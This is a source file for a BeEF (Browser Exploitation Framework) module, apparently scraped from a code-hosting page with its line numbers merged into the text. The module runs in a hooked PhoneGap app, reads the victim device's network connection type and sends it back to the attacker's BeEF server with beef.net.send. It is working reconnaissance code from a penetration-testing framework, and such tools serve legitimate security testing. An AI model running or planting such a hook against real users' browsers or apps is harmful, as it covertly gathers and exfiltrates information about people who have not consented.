Path: blob/master/modules/phonegap/phonegap_check_connection/command.js
1154 views
/*1* Copyright (c) 2006-2025 Wade Alcorn - [email protected]2* Browser Exploitation Framework (BeEF) - https://beefproject.com3* See the file 'doc/COPYING' for copying permission4*/56beef.execute(function() {7var connection_type;89getConnectionType = function() {10var states = {};11states[Connection.UNKNOWN] = 'Unknown connection';12states[Connection.ETHERNET] = 'Ethernet connection';13states[Connection.WIFI] = 'WiFi connection';14states[Connection.CELL_2G] = 'Cell 2G connection';15states[Connection.CELL_3G] = 'Cell 3G connection';16states[Connection.CELL_4G] = 'Cell 4G connection';17states[Connection.NONE] = 'No network connection';18return states[navigator.network.connection.type];19}2021try {22connection_type = getConnectionType();23} catch(e) {24connection_type = "Unable to determine connection type."25}2627beef.net.send("<%= @command_url %>", <%= @command_id %>, "connection_type="+connection_type);28});293031